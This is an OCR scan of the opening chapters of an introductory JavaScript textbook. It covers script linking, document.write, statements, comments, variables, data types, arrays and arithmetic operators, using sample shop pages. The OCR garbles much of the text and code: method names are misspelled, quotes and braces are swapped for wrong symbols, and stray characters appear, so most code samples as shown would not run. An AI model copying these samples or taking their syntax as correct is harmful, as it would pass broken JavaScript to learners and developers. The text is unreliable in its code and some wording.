Adding the CSS rules in a 
separate file keeps rules 
regarding how the page looks 
away from the content itself. 

You can use the same style sheet 
with all of your site, making your 
sites faster to load and easier 
to maintain. Or you can use 
different style sheets with the 
same content to create different 
views of the same data. 


Also, some people browse with 
JavaScript turned off, so you 
need to make sure that the page 
still works for them. 



Constructive & Co. 


GOOD AFTERNOON! 

Tor all ardars and inquiries 
pinnae vmXl SSI-1344 


HTML+CSS+JAVASCRIPT 

The JavaScript is added last 
and enhances the usability of 
the page or the experience of 
interacting with the site. 

Keeping it separate means 
that the page still works If the 
user cannot load or run the 
JavaScript. You can also reuse 
the code on several pages 
(making the site faster to load 
and easier to maintain). 
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CREATING A BASIC 
JAVASCRIPT 


JavaScript is written in plain text, just like HTML and CSS, so you do not 
need any new tools to write a script. This example adds a greeting into an 
HTML page. The greeting changes depending on the time of day. 


0 Create a folder to put the 
example in called c01 H then start 
up your favorite code editor, and 
enter the text to the right, 

A JavaScript file is just a 
text file dike HTML and CSS 
files are) but it has a . j s file 
extension, so save this file with 
the name add-content J s 

Don't worry about what the code 
means yet, for now we will focus 
on how the script is created and 
how it fits with an HTML page. 


var today = new Date(); 

var hour Now = today.getHour$() ; 

var greeting; 

if (hourNow > 18) { 

greeting = 'Good evening! 1 ; 

} else if {hourNow > 12) { 

greeting = 'Good afternoon!'; 

) else if (hourNow > 0) { 

greeting ~ 'Good morning! 1 ; 

} else { 

g reet i ng ~ 1 Wei come I ' ; 

) 

document *wri te( , <h3> 1 + greeting + , </h3> i ); 


0 Get the CSS and images for 
this example from the website 
that accompanies the book: 
www. javascript book » com 

To keep the files organised, in 
the same way that CSS files 
often live in a folder called 
styles or css, your JavaScript 
files can live in a folder called 
scri pt$, javascri pt, or j s. 

In this case, save your file in a 
folder called js 



Here you can see the file structure that you will end up with when you 
finish the example. Always treat file names as being case-sensitive. 
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LINKING TO A JAVASCRIPT 
FILE FROM AN HTML PAGE 


When you want to use JavaScript with a web page, you use the HTML 
<scri pt> element to tell the browser it is coming across a script. 

Its src attribute tells people where the JavaScript file is stored. 


<!OOCTYPE html > 

<html> 

<head> 

<title>Constructi ve &amp; Co.</litle> 

<11 nk rel’" stylesheet" href ="css/eOl. css" /> 
</head> 

<body> 

<hl>Construct1ve Samp; Co.</hl> 

<script src= Jl j s/add-content . js tt ></script> 
<p>For all orders and inquiries please call 
<em>555-3344</em></p> 

</body> 

</html> 


© In your code editor, enter the 
HTML shown on the left Save 
this file with the name 
add-content .html 

The HTML <script> element is 
used to load the JavaScript file 
into the page. It has an attribute 
called src, whose value is the 
path to the script you created. 

Thb tells the browser to find and 
load the script file (just like the 
src attribute on an <i mg> tag). 


♦ 

Constructive & Co. 

GOOD AFTERNOON! 


re r ill orders and 

plena* call 551-1344 




Q Open the HTML file in your 
browser. You should see that the 
JavaScript has added a greeting 
(in this case. Good Afternoon!) to 
the page, (These greetings are 
coming from the JavaScript file; 
they are not in the HTML file.) 

Please note: Internet Explorer 
sometimes prevents JavaScript 
running when you open a page 
stored on your hard drive. If this 
affects you, please try Chrome, 
Firefox, Opera, or Safari instead. 
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THE SOURCE CODE 
IS NOT AMENDED 


If you look at the source code for the example 
you just created, you will see that the HTML is 
still exactly the same. 


0 Once you have tried the 
example in your browser, view 
the source code for the page. 
(This option is usually under the 
V7ew, Too/s or Develop menu of 
the browser.) 



Constructive & Co 


WELCOME! 


For ill orders and inquiries 
please call 555-3344 


Develop 


0 The source of the web page 
does not actually show the new 
element that has been added 
into the page; it just shows the 
link to the JavaScript file. 

As you move through the book, 
you will see most of the scripts 
are added just before the closing 
</body> tag (this is often 
considered a better place to 
put your scripts). 
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PLACING THE SCRIPT 

IN THE PAGE 


You may see JavaScript in the HTML between 
opening <scri pt> and closing </scri pt> tags 
(but it is better to put scripts in their own files). 


<! DOCTYPE htm1> 

<head> 

<tit1e>Constructi ve &amp; Co*</title> 

<link re1=“ stylesheet" href= tt css/c01.css n /> 
</head> 

<body> 

<hl>Constructive &amp; Co.</hI> 
<seript>document .write ( '<h3>Wel come! </h3>' ) ; 
</scri pt> 

<p>For all orders and inquiries please call 

<em>555 - 3344</em></p> 

</body> 


O Finally, try opening the 
HTML file, removing the src 
attribute from the opening 
<scri pt> tag, and adding the 
new code shown on the left 
between the opening <scri pt> 
tag and the closing </script> 
tag. The src attribute is no 
longer needed because the 
JavaScript is in the HTML page. 

As noted on p44, it is better 
not to mix JavaScript in your 
HTML pages like this, but it is 
mentioned here as you may 
come across this technique. 



# 

Constructive & Co, 


WELCOME! 

TOC All orders and inquiries 
plCAAd 0*11 5S5-33** 


@ Open the HTML file in your 
web browser and the welcome 
greeting is written into the page 

As you may have guessed, 
document. write() wWfes 
content into the document (the 
web page). It is a simple way 
to add content to a page, but 
not always the best. Chapter 
5 discusses various ways to 
update the content of a page. 
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HOW TO USE 
OBJECTS & METHODS 


This one line of JavaScript shows how to use objects and methods. 
Programmers refer to this as calling a method of an object. 


The document object represents the 
entire web page. All web browsers 
implement this object, and you can 
use it just by giving its name. 

OBJECT 


document.wri te( 

MEMBER OPERATOR 


The write () method of the 
document object allows new 
content to be written into the page 
where the <$cri pt> element sits. 

method 

I 

Good afternoon ! 1 

1 

PARAMETERS 


The document object has several 
methods and properties. They are 
known as members of that object. 


Whenever a method requires some 
Information in order to work, the 
data is given inside the parentheses 



You can access the members of an 
object using a dot between the object 
name and the member you want to 
access. It is called a member operator. 


Each piece of information is called 
a parameter of the method. In this 
case, the wri te () method needs to 
know what to write into the page. 


Behind the scenes, the browser 
uses a lot more code to make 
the words appear on the screen, 
but you don't need to know how 
the browser does this* 


You only need to know how to 
call the object and method, and 
how to tell it the information it 
needs to do the job you want it 
to. It will do the rest. 


There are lots of objects like 
the document object, and lots 
of methods like the write () 
method that will help you write 
your own scripts. 
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JAVASCRIPT RUNS WHERE 
IT IS FOUND IN THE HTML 


When the browser comes across a <scri pt> element, it stops to 
load the script and then checks to see if it needs to do anything. 



Constructive & Co* 

U5P OK E A *CHJ TECrif ftAl MODELS 


For all orders and inquiries 
please call 555-3344 


GOOD AFTERNOON! 


<! DOCTYPE html> 

<head> 

<title>Constructive &amp; Co.</title> 

<1 i nk rel= M stylesheet" href = M css/ cOl. css" /> 

</head> 

<body> 

<hl>Constmctive Samp; Co.</hl> 

<p>For all orders and inquiries please call <em>555-3344</em></p> 

<seript src-*'j s/add-content .js"></script> 

</body> 

</html> 


Note how the <script> element can be moved 
below the first paragraph, and this affects where 
the new greeting is written into the page* 


This has implications for where <$cript> elements 
should be placed, and can affect the loading time of 
pages (see p356). 
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SUMMARY 
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C: How do ! write a script for a web page? 



It is best to keep JavaScript code in its own JavaScript 
file. JavaScript files are text files (like HTML pages and 
CSS style sheets), but they have the . js extension. 


The HTML <scri pt> element is used in HTML pages 
to tell the browser to load the JavaScript file (rather like 
the <1 i nk> element can be used to load a CSS file). 

If you view the source code of the page in the browser, 
the JavaScript will not have changed the HTML, 
because the script works with the model of the web 
page that the browser has created. 




BASIC 

JAVASCRIPT 

INSTRUCTIONS 



In this chapter, you will start learning to read and write 
JavaScript. You will also learn how to give a web browser 
instructions you want it to follow. 


THE LANGUAGE: 

SYNTAX AND GRAMMAR 

Like any new language, there are new 
words to learn (the vocabulary) and rules 
for how these can be put together (the 
grammar and syntax of the language). 


GIVING INSTRUCTIONS: 

FOR A BROWSER TO FOLLOW 

Web browsers (and computers in general) 
approach tasks in a very different way than 
a human might. Your instructions need to 
reflect how computers get things done. 


We will start with a few of the key building blocks of the language and look at how they can 
be used to write some very basic scripts (consisting of a few simple steps) before going on to 
look at some more complex concepts in subsequent chapters. 
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STATEMENTS 


A script is a series of instructions that a computer can follow one-by-one. 
Each individual instruction or step is known as a statement. 

Statements should end with a semicolon. 


We will look at what the code on the right does 
shortly, but for the moment note that: 


var today = new Date(); 

var hourNow = today. getHoursQ ; 

var greeting; 


• Each of the lines of code in green is a statement. 

• The pink curly braces indicate the start and end 
of a code block. (Each code block could contain 
many more statements.) 

• The code in purple determines which code 
should run (as you will see on p149). 


JAVASCRIPT IS CASE SENSITIVE 

JavaScript is case sensitive so hourNow means 
something different to HourNow or HOURNOW. 


if (hourNow > 18) { 
greeting “ l Good evening 1 ; 

) else if (hourNow > 12) { 
greeting - ‘Good afternoon 1 ; 
} else if (hourNow > 0) { 
greeting = ‘Good morning 1 ; 

} else { 

greeting = 'Welcome'; 

) 

document. write (greeting) ; 


STATEMENTS ARE INSTRUCTIONS AND STATEMENTS CAN BE ORGANIZED 
EACH ONE STARTS ON A NEW LINE INTO CODE BLOCKS 


A statement is an individual instruction that the 
computer should follow. Each one should start on a 
new fine and end with a semicolon. This makes your 
code easier to read and follow. 

The semicolon also tells the JavaScript interpreter 
when a step is oven indicating that it should move 
to the next step. 


Some statements are surrounded by curly braces; 
these are known as code blocks. The closing curly 
brace is not followed by a semicolon. 

Above, each code block contains one statement 
related to what the current time is, Code blocks 
will often be used to group together many more 
statements. This helps programmers organize their 
code and makes it more readable. 
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COMMENTS 


You should write comments to explain what your code does. 
They help make your code easier to read and understand. 
This can help you and others who read your code. 

/* This script displays a greeting to the user based upon the current time. 

It is an example from JavaScript & jQuery book */ 

var today = new Date{); // Create a new date object 

var hourNow 3 today .getHours () ; // Find the current hour 

var greeting; 

// Display the appropriate greeting based on the current time 
if (hourNow > 18} { 
greeting « 'Good evening'; 

} else if (hourNow > 12} { 
greeting = 'Good afternoon 1 ; 

( else if (hourNow > 0) { 
greeting » 'Good morning'; 

} else { 


greeting - 'Welcome' ; 


JavaScript code is green 
Multi-line comments are pink 
Single-line comments are gray 


document, wri te(greeti ng} ; 


MULTI-LINE COMMENTS 

To write a comment that stretches over more than 


SINGLE-LINE COMMENTS 


In a single-line comment, anything that follows the 
two forward slash characters // on that line will not 
be processed by the JavaScript interpreter Single- 
line comments are often used for short descriptions 
of what the code is doing. 


one line, you use a multi-line comment, starting with 
the /* characters and ending with the */ characters. 
Anything between these characters is not processed 
by the JavaScript interpreter. 


Multi-line comments are often used for descriptions 
of how the script works, or to prevent a section of 
the script from running when testing it. 


Good use of comments will help you if you come 
back to your code after several days or months. 
They also help those who are new to your code, 
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© 


WHAT IS A VARIABLE? 


A script will have to temporarily 
store the bits of information it 
needs to do its job. It can store this 
data in variables. 

When you write JavaScript, you have to tell the 
interpreter every individual step that you want it to 
perform. This sometimes involves more detail than 
you might expect. 

Think about calculating the area of a wall; in math 
the area of a rectangle is obtained by multiplying two 
numbers: 

width * height - area 

You may be able to do calculations like this in 
your head, but when writing a script to do this 
calculation, you need to give the computer very 
detailed instructions. You might tell it to perform the 
following four steps in order: 

T Remember the value for width 

2. Remember the value for height 

3. Multiply width by height to get the area 

4. Return the result to the user 

In this case, you would use variables to ’’remember” 
the values for width and fre/ght. (This also illustrates 
how a script contains very explicit instructions about 
exactly what you want the computer to do.) 

You can compare variables to short-term memory, 
because once you leave the page, the browser will 
forget any information if holds. 
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A variable is a good name for this 
concept because the data stored 
in a variable can change (or vary) 
each time a script runs. 

No matter what the dimensions of any individual 
wall are, you know that you can find its Qteo by 
multiplying the widtfi of that wall by Its he/gfrt. 
Similarly, scripts often need to achieve the same 
goal even when they are run with different data, so 
variables can be used to represent values in your 
scripts that are likely to change. The result is said to 
be calculated or computed using the data stored in 
the variables. 

The use of variables to represent numbers or other 
kinds of data is very similar to the concept of algebra 
(where letters are used to represent numbers). 
There is one key difference, however. The equals 
sign does something very different in programming 
(as you will see on the next two pages). 
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VARIABLES: HOW TO 
DECLARE THEM 


Before you can use a variable, you need to announce that you want 
to use it. This involves creating the variable and giving it a name. 
Programmers say that you declare the variable. 


var quantity; 

1 1 1 1 s 1 

VARIABLE KEYWORD VARIABLE NAME 


var is an example of what 
programmers call a keyword. 
The JavaScript interpreter 
knows that this keyword is 
used to create a variable. 


In order to use the variable, you 
must give it a name, (This is 
sometimes called an identifier.) 
In this case, the variable is called 

quantity. 


If a variable name is more than 
one word, it is usually written in 
camelCase, This means the first 
word is all lowercase and any 
subsequent words have their 
first letter capitalized. 


60 , BASIC JAVASCRIPT INSTRUCTIONS 


VARIABLES: HOW TO 
ASSIGN THEM A VALUE 


Once you have created a variable, you can tell it what information you 
would like it to store for you. Programmers say that you assign a value to 
the variable. 


ASSIGNMENT OPERATOR 


quantity = 3; 


, 

VARIABLE NAME 


VARIABLE VALUE 


You can now use the variable by 
its name. Here we set a value 
for the variable called quanti ty. 
Where possible, a variable's 
name should describe the kind 
of data the variable holds. 


The equals sign (-) is an 
assignment operator. It says 
that you are going to assign a 
value to the variable. It is also 
used to update the value given 
to a variable (see p68). 


Until you have assigned a value 
to a variable, programmers say 
the value is undefined. 


Where a variable is declared can have an effect upon whether the rest of the script can use it. Programmers 
call this the scope of a variable and It is covered on p98. 
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data types 


JavaScript distinguishes between numbers, 
strings, and true or fal se values known as 
Booleans. 


NUMERIC DATA TYPE 

The numeric data type handles 
numbers, 

0.75 

For tasks that involve counting 
or calculating sums, you will 
use numbers 0-9. For example, 
five thousand, two hundred and 
seventy-two would be written 
5272 (note there is no comma 
between the thousands and 
the hundreds). You can also 
have negative numbers (such 
as -23678) and decimals (three 
quarters is written as 0,75), 


STRING DATA TYPE 

The strings data type consists of 
letters and other characters. 

'Hi, Ivy ! 1 

Note how the string data type is 
enclosed within a pair of quotes. 
These can be single or double 
quotes, but the opening quote 
must match the closing quote. 

Strings can be used when 
working with any kind of text. 
They are frequently used to add 
new content into a page and they 
can contain HTML markup. 


BOOLEAN DATATYPE 

Boolean data types can have one 
of two values: true or false, 

true 

It might seem a little abstract at 
first, but the Boolean data type is 
actually very helpful. 

You can think of it a little like a 
light switch - it is either on or off. 
As you will see in Chapter 4, 
Booleans are helpful when 
determining which part of a 
script should run. 


Numbers are not only used for 
things like calculators; they 
are also used for tasks such 
as determining the size of the 
screen, moving the position of 
an element on a page, or setting 
the amount of time an element 
should take to fade in. 


In addition to these three data types, JavaScript aiso has others (arrays, 
objects, undef i ned, and null) that you will meet in later chapters. 

Unlike some other programming languages, when declaring a variable in 
JavaScript, you do not need to specify what type of data it will hold. 
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USING A VARIABLE TO 
STORE A NUMBER 


JAVASCRIPT 


cQZ/ j s/numen ovar ! abl e 4 s 


Here, three variables are created 
and values are assigned to them. 


var price; 
var quantity; 
var total ; 

price = 5; 

quantity - 14; 

total = price * quantity; 


• price holds the price of an 
individual tile 

• quantity holds the number 
of tiles a customer wants 

• total holds the total cost of 
the tiles 


var el * document. get El ementBy Id ( 1 cost 1 ) ; 
el .textContent = 1 $ 1 + total; 


HTML 


cOZ/numeri c- var i ab I e . h tm\ 


<hl >E 1 de r f 1 ower</h 1 > 

<div i d=" content" > 

<h2>Custom Signage</h2> 

<div id=“cost">Cost: $5 per tile</div> 

<img src=" images/preview. jpg" alt="Sign" /> 
</div> 

<script src="js/numeric-variable. js"></script> 


RESULT 



Note that the numbers are not 
written inside quotation marks. 
Once a value has been assigned 
to a variable, you can use the 
variable name to represent that 
value (much like you might have 
done in algebra). Here, the total 
cost is calculated by multiplying 
the price of a single tile by the 
number of tiles the customer 
wants. 

The result is then written into 
the page on the final two lines. 
You see this technique in more 
detail on p!94 and p216. 

The first of these two lines finds 
the element whose id attribute 
has a value of cost, and the final 
line replaces the content of that 
element with new content. 

Note: There are many ways to 
write content into a page, and 
several places you can place 
your script. The advantages and 
disadvantages of each technique 
are discussed on p226. This 
technique will not work in IE8, 
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USING A VARIABLE TO 
STORE A STRING 


For the moment concentrate on 
the first four lines of JavaScript. 
Two variables are declared 
(username and message), and 
they are used to hold strings (the 
user’s name and a message for 
that userX 


c02/js/string-variable.js 

var username; 

var message; 

username = 'Molly 1 ; 

message = 'See our upcoming range 1 ; 


JAVASCRIPT 


The code to update the page 
(shown in the last four lines) 
is discussed fully in Chapter 5, 
This code selects two elements 
using the values of their id 
attributes. The text in those 
elements is updated using the 
values stored in these variables. 

Note how the string is placed 
inside quote marks. The quotes 
can be single or double quotes, 
but they must match. If you start 
with a single quote, you must end 
with a single quote, and if you 
start with a double quote, you 
must end with a double quote: 

© "hello" G "hello 1 
© 'hello 1 O 'hello" 

Quotes should be straight (not 
curly) quotes: 

© n n Q a n 

© i » Q « ’ 

Strings must always be written 
on one tine: 

© 'See our upcoming range* 
O *$ee our 

upcoming range' 


var el Name = document. getEl ementBy Id ( ' name’ ) ; 
elName.textContent = username; 
var el Note = document. getEl ementByldO note'); 
elNote.textCortent = message; 


cOZ/str l ng- var i able . htmi 


HTML 


<hl>El derf 1 ower</hI> 

<div id=*'content"> 

<div id="titl e">Howdy 
<span id="name">fri end</span>!</di v> 

<div id="note">Take a look around .. .</div> 
</div> 

<script src="j s/string- variabl e. js ll ></script> 


RESULT 
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USING QUOTES 
INSIDE A STRING 


JAVASCRIPT 


cOZ/js/strirg-with-quotes.js 


var title; 
var message; 

title = "Molly's Special Offers"; 

message = '<a href=\"sale.html\">25% off!</a>‘; 

var elTitle = document, get£lementBy!d( 'title' ) ; 
elTitle.innerHTML = title; 
var el Note = document. get El ementById{ 'note ') ; 
el Note. innerHTML = message; 


HTML 


cOZ/string-wi th-quotes.html 


Sometimes you will want to use 
a doubfe or single quote mark 
within a string. 

Because strings can live in single 
or double quotes, if you just 
want to use double quotes in the 
string, you could surround the 
entire string in single quotes. 

If you just want to use single 
quotes in the string, you could 
surround the string in double 
quotes (as shown in the third line 
of this code example). 


<hl>Elderflower</hl> 

<div id= ,, content"> 

<6iv id*"t1tle">$pec1al Offers</div> 

<div id“"note">5ign-up to receive personalized 
offers !</di v> 

</di v> 

<seript src="js/string-wi th-quotes . j$"></scri pt> 


RESULT 



You can also use a technique 
called escaping the quotation 
characters. This is done by 
using a backwards slash (or 
"backslash") before any type of 
quote mark that appears within 
a string (as shown on the fourth 
line of this code sample). 

The backwards slash tells the 
interpreter that the following 
character is part of the string, 
rather than the end of it. 


Techniques for adding content to 
a page are covered in Chapter 5. 
This example uses a property 
called innerHTML to add HTML 
to the page. In certain cases, this 
property can pose a security risk 
(discussed on p228 - p231). 
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USING A VARIABLE TO 
STORE A BOOLEAN 


A Boolean variable can only have 
a value of true or f al se, but this 
data type is very helpful 

In the example on the right, the 
values true or fal se are used 
in the cl ass attributes of HTML 
elements. These values trigger 
different CSS class rules: true 
shows a check, fal se shows a 
cross. (You learn how the class 
attribute is set in Chapter 5.) 

It is rare that you would want to 
write the words true or fal se 
Into the page for the user to read, 
but this data type does have two 
very popular uses: 

First, Booleans are used when 
the value can only be true/ 
fal se. You could also think of 
these values as on/off or 0/1: 
true is equivalent to on or 1, 
fal se is equivalent to off or 0 

Second, Booleans are used when 
your code can take more than 
one path. Remember, different 
code may run in different 
circumstances (as shown in the 
flowcharts throughout the book), 

test is performed 


The path the code takes depends 
on a test or condition. 




c02/j s/bool ean-vari abl e. js 

var inStock; 
var shipping; 
inStock = true; 
shipping - false; 


JAVASCRIPT 


var el Stock = document. getElementByldC stock' ) ; 
elStock.className = inStock; 


var el Shi p = document. getEl ementByldf 1 shi pping [ ) ; 
el Ship. cl assName = shipping; 


e02/bool ean-vari able.html 

<hl>El derflower</hl> 
<div id= ,E content"> 


HTML 


<di v class= ll Tnessage ,J >Avai lable: 

<span id="stock ll ></span></di v> 

<di v class =,1 mes 5 age">Shippi ng; 

<span i d=" shipping "></span></di v> 

</di v> 

<scri pt src = 11 j s/bool ean-vari abl e. js' t ></script> 


RESULT 
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SHORTHAND FOR 
CREATING VARIABLES 


JAVASCRIPT 


c02/js/shorthand-var1 ablets 


0 var price = 5; 
var quantity = 14; 
var total = price * quantity; 


(§) var price, quantity, total; 
price = 5; 
quantity = 14; 
total = price * quantity; 


(D var price = 5, quantity = 14; 
var total = price * quantity; 


@ // Write total into the element with id of cost 
var el = document .getElementById( 'cost ') ; 
el .textContent = '$' + total; 


RESULT 



Programmers sometimes use 
shorthand to create variables. 
Here are three variations of how 
to declare variables and assign 
them values: 

1. Variables are declared and 
values assigned in the same 
statement. 

2. Three variables are declared 
on the same fine, then values 
assigned to each, 

3. Two variables are declared 
and assigned values on the same 
line. Then one is declared and 
assigned a value on the next line. 

(The third example shows two 
numbers, but you can declare 
variables that hold different 
types of data on the same line, 
e,g. r a string and a number.) 

4 . Here, a variable is used to 
hold a reference to an element in 
the HTML page. This allows you 
to work directly with the element 
stored in that variable, (See 
more about this on p190.) 

While the shorthand might save 
you a little bit of typing, it can 
make your code a little harder 
to follow. So, when you are 
starting off, you will find it easier 
to spread your code over a few 
more lines to make it easier to 
read and understand. 
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CHANGING THE VALUE 
OF A VARIABLE 


Once you have assigned a value 
to a variable, you can then 
change what is stored in the 
variable later in the same script. 


cQZ/js/update-variable.js 

var inStock; 
var shipping; 


JAVASCRIPT 


Once the variable has been 
created, you do not need to 
use the var keyword to assign 
it a new value. You just use the 
variable name, the equals sign 
(also known as the assignment 
operator), and the new value for 
that attribute, 

For example, the value of a 
shipping variable might start 
out as being f al se< Then 
something in the code might 
change the ability to ship the 
item and you could therefore 
change the value to true. 

In this code example, the values 
of the two variables are both 
swapped from being true to 
false and vice versa. 


in Stock = true; 
shipping = false; 

/* Some other processing might go here and, as 
a result, the script might need to change these 
values */ 

inStock = false; 
shipping = true; 

var el Stock = document < get El ementBy I d ( 1 stock 1 ) ; 
elStoek.className - inStock; 
var el Ship = document. getElementById( 'shipping ') ; 
elShip.className = shipping; 


RESULT 
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RULES FOR NAMING 

VARIABLES 


Here are six rules you must always follow when giving a variable a name: 

1 2 3 


The name must begin with 
a letter, dollar sign ($X or an 
underscore (_). It must not start 
with a number 


4 

All variables are case sensitive, 
so score and Score would be 
different variable names, but 
it is bad practice to create two 
variables that have the same 
name using different cases. 


The name can contain letters, 
numbers, dollar sign ($X or an 
underscore (_). Note that you 
must not use a dash (-) or a 
period O in a variable name. 


5 

Use a name that describes the 
kind of information that the 
variable stores. For example, 
f i rstName might be used to 
store a person's first name, 

1 astName for their last name, 
and age for their age. 


You cannot use keywords or 
reserved words. Keywords 
are special words that tell the 
interpreter to do something. For 
example, var is a key word used 
to declare a variable. Reserved 
words are ones that may be used 
in a future version of JavaScript. 

ONLINE EXTRA 

View a full list of keywords and 
reserved words in JavaScript, 

6 

If your variable name is made 
up of more than one word, use a 
capital letter for the first letter of 
every word offer the first word. 
For example, f i rstName rather 
than f 1 rstname (this is referred 
to as camel case). You can also 
use an underscore between each 
word (you cannot use a dash). 
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ARRAYS 


An array is a special type of variable. It doesn't 
just store one value; it stores a list of values. 



You should consider using an 
array whenever you are working 
with a list or a set of values that 
are related to each other. 


For example, an array can be As you will see on the next page, 

suited to storing the individual values in an array are separated 

items on a shopping list because by commas, 
it is a list of related items. 



In Chapter 12, you will see that 
arrays can be very helpful when 
representing complex data. 


Arrays are especially helpful 
when you do not know how 
many items a list will contain 
because, when you create the 
array, you do not need to specify 
how many values it will hold. 

If you don’t know how many 
items a list will contain, rather 
than creating enough variables 
for a long list (when you might 
only use a small percentage 
of therm), using an array is 
considered a better solution. 


Additionally, each time you write 
a new shopping list, the number 
of items on it may differ. 


CREATING AN ARRAY 


JAVASCRIPT 


c02/j s/array- 1 iteral . js 


var colors; 

colors = ['white', 'black', 'custom']; 

var el = document. getEl ementByld ( ’colors') ; 
el .textContent = colors[0]; 



JAVASCRIPT 


cG2/js/array-constructor . j s 


var colors = new Array ( 


white’ , 
black 1 , 
custom 1 ) ; 


var el = document. getEl ementByld ( 1 colors V); 
el.innerHTML = colors , i tem(G) ; 


The array literal (shown in the first code sample) is preferred over the 
array constructor when creating arrays. 


You create an array and give it 
a name just like you would any 
other variable (using the var 
keyword followed by the name of 
the array), 

The values are assigned to the 
array inside a pair of square 
brackets, and each value is 
separated by a comma. The 
values in the array do not need 
to be the same data type, so you 
can store a string, a number and 
a Boolean all in the same array. 

This technique for creating 
an array is known as an array 
literal. It is usually the preferred 
method for creating an array. 

You can also write each value on 
a separate line: 

colors = ['white 1 , 

'black', 

'custom'] ; 

On the left, you can see an 
array created using a different 
technique called an array 
constructor. This uses the new 
keyword followed by Array () ; 
The values are then specified 
in parentheses (not square 
brackets), and each value is 
separated by a comma. You can 
also use a method called i tem() 
to retrieve data from the array. 
(The index number of the Item is 
specified in the parentheses.) 
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VALUES IN ARRAYS 


Values in an array are accessed as if they are in 
a numbered list. It is important to know that the 
numbering of this list starts at zero (not one). 


NUMBERING ITEMS IN 
AN ARRAY 

Each item in an array is 
automatically given a number 
called an index. This can be used 
to access specific items in the 
array. Consider the following 
array which holds three colors; 

var colors; 
colors = [‘white 1 * 

‘black* , 

1 custom 1 ] ; 

Confusingly, index values start at 
0 (not IX so the following table 
shows items from the array and 
their corresponding index values; 

INDEX VALUE 

0 'white' 

1 'black' 

2 'custom' 


ACCESSING ITEMS IN 
AN ARRAY 

To retrieve the third item on the 
list, the array name is specified 
along with the index number in 
square brackets. 

Here you can see a variable 
called itemlhree is declared. 

Its value Is set to be the third 
color from the col ors array. 

var itemlhree; 
itemThree = colors[2]; 


NUMBER OF ITEMS IN 
AN ARRAY 

Each array has a property called 
length, which holds the number 
of items in the array. 

Below you can see that a variable 
called numColors is declared. Its 
value is set to be the number of 
the items in the array. 

The name of the array is 
followed by a period symbol Cor 
full stop) which is then followed 
by the length keyword, 

var numColors; 
numColors = colors .length; 


Throughout the book (especially 
in Chapter 12) you meet more 
features of arrays, which are 
a very flexible and powerful 
feature of JavaScript. 
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ACCESSING & CHANGING 
VALUES IN AN ARRAY 


JAVASCRIPT 


// Create the array 
var colors = ['white' , 
•black' , 
'custom'] ; 

// Update the third item 
colors [2] = 'beige 1 ; 


c02/j s/update-array . j s 


in the array 


The first lines of code on the left 
create an array containing a list 
of three colors. (The values can 
be added on the same line or on 
separate lines as shown here,) 

Having created the array, the 
third item on the list is changed 
from 1 custom ' to 'beige 1 . 


// Get the element with an id of colors 
var el = document .getElementByldC col ors' ); 

// Replace with third item from the array 
el .textContent - col ors [2]; 


RESULT 



To access a value from an array, 
after the array name you specify 
the index number for that value 
inside square brackets. 

You can change the value of an 
item an array by selecting it and 
assigning it a new value just as 
you would any other variable 
(using the equals sign and the 
new value for that item). 

In the last two statements, the 
newly updated third item in the 
array is added to the page. 

If you wanted to write out all of 
the items in an array, you would 
use a loop, which you will meet 
on p170. 
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EXPRESSIONS 


An expression evaluates into (results in) a single value. Broadly speaking 
there are two types of expressions, 


1 


2 


EXPRESSIONS THAT JUST ASSIGN A 
VALUE TO A VARIABLE 

in order for a variable to be useful, it needs to be 
given a value. As you have seen, this is done using 
the assignment operator (the equals sign). 

var color = ‘beige 1 ; 

The value of col or is now bei ge. 

When you first declare a variable using the var 
keyword, it is given a special value of undefined, 
This wifi change when you assign a value to it. 
Technically, undefined is a data type like a number, 
string, or Boolean. 


EXPRESSIONS THAT USE TWO OR 
MORE VALUES TO RETURN A 
SINGLE VALUE 

You can perform operations on any number of 
individual values (see next page) to determine a 
single value. For example: 

var area =3*2; 

The value of area is now 6. 

Here the expression 3*2 evaluates into 6. This 
example also uses the assignment operator, so the 
result of the expression 3 * 2 is stored in the variable 
called area. 

Another example where an expression uses two 
values to yield a single value would be where two 
strings are joined to create a single string. 
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OPERATORS 


Expressions rely on things called operators; they allow programmers to 
create a single value from one or more values. 


Covered in this chapter: 

Covered in Chapter 4: 

ASSIGNMENT OPERATORS 

Assign a value to a variable 

color = 'beige'; 

COMPARISON OPERATORS 

Compare two values and return true or fal se 

buy = 3 > 5; 

The value of color is now bei ge . 

(See p61) 

The value of buy is fal se. 

(See pi 50) 

ARITHMETIC OPERATORS 

LOGICAL OPERATORS 

Perform basic math 

area =3*2; 

Combine expressions and return true or false 

buy = (5 > 3) && (2 < 4) ; 

The value of area is now 6. 

(See p76) 

STRING OPERATORS 

Combine two strings 

greeting = 'Hi ' + 'Molly'; 

The value of greeting is now Hi Molly. 

(See p78) 

The value of buy is now true, 

(See pi 56) 
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ARITHMETIC OPERATORS 


JavaScript contains the following mathematical 
operators, which you can use with numbers. 
You may remember some from math class. 


NAME 

OPERATOR 

PURPOSE & NOTES 

EXAMPLE 

RESULT 

ADDITION 

+ 

Adds one value to another 

10 + 5 

15 

SUBTRACTION 

- 

Subtracts one value from another 

10 - 5 

5 

DIVISION 

' / 

Divides two values 

10 / 5 

2 

MULTIPLICATION 

* 

Multiplies two values using an asterisk 
(Note that this is not the letter x) 

10 * 5 

50 

INCREMENT 

+ + 

Adds one to the current number 

1 * 10; 
t++; 

11 

DECREMENT 

— 

Subtracts one from the current number 

i = 10; 

1— ; 

9 

MODULUS 

% 

Divides two values and returns the 
remainder 

10 % 3 

1 


ORDER OF EXECUTION 

Several arithmetic operations 
can be performed in one 
expression, but it is important 
to understand how the result 
will be calculated. Multiplication 
and division are performed 
before addition or subtraction. 
This can affect the number that 
you expect to see. To illustrate 
this effect, look at the following 
examples. 


Here the numbers are calculated 
left to right, so the total is 16: 
total -2+4+10; 

But in the following example the 
total is 42 (not 60): 
total = 2 + 4 * 10; 

This is because multiplication 
and division happen before 
addition and subtraction. 


To change the order in which 
operations are performed, place 
the calculation you want done 
first inside parentheses. So for 
the following, the total is 60: 
total * (2 + 4} * 10; 

The parentheses indicate that 
the 2 is added to the 4, and then 
the resulting figure is multiplied 
by 10. 
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USING ARITHMETIC 
OPERATORS 


JAVASCRIPT 


cOZ/ j s/ar i t fomet i c - operator . j s 


var subtotal = (13 + 1) * 5; 
var shipping 3 0,5 * (13 + 1); 


// Subtotal is 70 
// Shipping is 7 


var total = subtotal + shipping; // Total is 77 

var el Sub = document, getElementByIdt 1 subtotal' ) ; 
elSub.textContent = subtotal; 


var el Ship = document, getElementById{ ‘shipping 1 }; 
elShip,textContent 3 shipping; 


This example demonstrates how 
mathematical operators are used 
with numbers to calculate the 
combined values of two costs. 

The first couple of lines create 
two variables; one to store the 
subtotal of the order, the other 
